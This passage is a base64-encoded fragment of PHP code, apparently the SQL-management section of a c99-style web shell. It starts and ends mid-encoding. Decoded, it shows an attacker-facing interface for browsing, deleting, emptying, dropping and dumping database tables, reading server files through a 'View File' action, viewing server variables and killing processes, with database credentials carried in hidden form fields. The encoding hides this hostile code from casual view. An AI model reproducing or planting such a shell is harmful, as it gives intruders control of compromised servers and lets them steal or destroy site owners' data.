24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfRElGRjwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9USU1FU1RBTVA8L29wdGlvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29wdGlvbj48b3B0aW9uPkNPTkNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBzaXplPTUwPjwvdGQ+PC90cj4iOw0KICAgICAgICAkaSsrOw0KICAgICAgIH0NCiAgICAgICBlY2hvICI8L3RhYmxlPjxicj4iOw0KICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsNCiAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQ0KICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+IjsNCiAgICAgIH0NCiAgICAgfQ0KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJicm93c2UiKQ0KICAgICB7DQogICAgICAkc3FsX3RibF9scyA9IGFicygkc3FsX3RibF9scyk7DQogICAgICAkc3FsX3RibF9sZSA9IGFicygkc3FsX3RibF9sZSk7DQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgICBlY2hvICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPW11bHRpcGFnZVwiIGhlaWdodD1cIjEyXCIgd2lkdGg9XCIxMFwiIGFsdD1cIlBhZ2VzXCI+Jm5ic3A7IjsNCiAgICAgICRiID0gMDsNCiAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKQ0KICAgICAgew0KICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX29yZGVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iJnNxbF90YmxfbHM9Ii4oJGkqJHBlcnBhZ2UpLiImc3FsX3RibF9sZT0iLigkaSokcGVycGFnZSskcGVycGFnZSkuIlwiPjx1PiI7fQ0KICAgICAgIGVjaG8gJGk7DQogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjwvdT48L2E+Ijt9DQogICAgICAgaWYgKCgkaS8zMCA9PSByb3VuZCgkaS8zMCkpIGFuZCAoJGkgPiAwKSkge2VjaG8gIjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICImbmJzcDsiO30NCiAgICAgIH0NCiAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30NCiAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9vcmRlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiJcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xlLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOw0KICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7DQogICAgICBlY2hvICI8dHI+IjsNCiAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd19hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPiI7DQogICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KICAgICAgew0KICAgICAgICR2ID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsNCiAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMgPSAiZCI7ICRtID0gImFzYyI7fQ0KICAgICAgIGVsc2UgeyRzID0gImEiOyAkbSA9ICJkZXNjIjt9DQogICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRlWzBdID0gImEiO30NCiAgICAgICBpZiAoJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfIi4kbS4iXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBhbHQ9XCIiLiRtLiJcIj48L2E+Ijt9DQogICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgfQ0KICAgICAgZWNobyAiPHRkPjxmb250IGNvbG9yPVwiZ3JlZW5cIj48Yj5BY3Rpb248L2I+PC9mb250PjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQ0KICAgICAgew0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICR3ID0gIiI7DQogICAgICAgJGkgPSAwOw0KICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzt9DQogICAgICAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyR3ID0gc3Vic3RyKCR3LDAsc3RybGVuKCR3KS0zKTt9DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIuJHcuIlwiPjwvdGQ+IjsNCiAgICAgICAkaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpDQogICAgICAgew0KICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOw0KICAgICAgICBpZiAoJHYgPT0gIiIpIHskdiA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO30NCiAgICAgICAgZWNobyAiPHRkPiIuJHYuIjwvdGQ+IjsNCiAgICAgICAgJGkrKzsNCiAgICAgICB9DQogICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHcuIiBMSU1JVCAxOyIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRlbGV0ZVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsNCiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkVkaXRcIiBoZWlnaHQ9XCIxNFwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7DQogICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIH0NCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQogICAgIH0NCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIsICRzcWxfc29jayk7DQogICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgZWxzZQ0KICAgICB7DQogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsX2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VGFibGU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGI+Um93czwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkNyZWF0ZWQ8L2I+PC90ZD48dGQ+PGI+TW9kaWZpZWQ8L2I+PC90ZD48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgICAkaSA9IDA7DQogICAgICAkdHNpemUgPSAkdHJvd3MgPSAwOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpDQogICAgICB7DQogICAgICAgJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07DQogICAgICAgJHRyb3dzICs9ICRyb3dbIlJvd3MiXTsNCiAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgkcm93WyJEYXRhX2xlbmd0aCJdKTsNCiAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxbXVwiIHZhbHVlPVwiIi4kcm93WyJOYW1lIl0uIlwiPjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRyb3dbIk5hbWUiXSkuIlwiPjxiPiIuJHJvd1siTmFtZSJdLiI8L2I+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJSb3dzIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJUeXBlIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJDcmVhdGVfdGltZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVXBkYXRlX3RpbWUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRzaXplLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiRFJPUCBUQUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEcm9wXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25faW5zZXJ0XCIgYWx0PVwiSW5zZXJ0XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8L3RkPiI7DQogICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgICRpKys7DQogICAgICB9DQogICAgICBlY2hvICI8dHIgYmdjb2xvcj1cIjAwMDAwMFwiPiI7DQogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj67PC9iPjwvY2VudGVyPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPiIuJGkuIiB0YWJsZShzKTwvYj48L2NlbnRlcj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGI+Ii4kdHJvd3MuIjwvYj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzFdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzEwXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMV0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Yj4iLnZpZXdfc2l6ZSgkdHNpemUpLiI8L2I+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX2FjdFwiPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGRyb3BcIj5Ecm9wPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxlbXB0eVwiPkVtcHR5PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsY2hlY2tcIj5DaGVjayB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsb3B0aW1pemVcIj5PcHRpbWl6ZSB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxhbmFseXplXCI+QW5hbHl6ZSB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsNCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICB9DQogICAgfQ0KICAgfQ0KICAgfQ0KICB9DQogIGVsc2UNCiAgew0KICAgJGFjdHMgPSBhcnJheSgiIiwibmV3ZGIiLCJzZXJ2ZXJzdGF0dXMiLCJzZXJ2ZXJ2YXJzIiwicHJvY2Vzc2VzIiwiZ2V0ZmlsZSIpOw0KICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkgez8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5WaWV3IEZpbGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImdldGZpbGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9nZXRmaWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dldGZpbGUpOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAgfQ0KICAgaWYgKCFlbXB0eSgkc3FsX2FjdCkpDQogICB7DQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgIGlmICgkc3FsX2FjdCA9PSAibmV3ZGIiKQ0KICAgIHsNCiAgICAgZWNobyAiPGI+IjsNCiAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHtlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iO30NCiAgICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQ0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnN0YXR1cyIpDQogICAgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsgDQogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyLXN0YXR1cyB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9IA0KICAgICBlY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnZhcnMiKQ0KICAgIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7IA0KICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9IA0KICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gInByb2Nlc3NlcyIpDQogICAgew0KICAgICBpZiAoIWVtcHR5KCRraWxsKSkgeyRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOyAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkc3FsX3NvY2spOyBlY2hvICI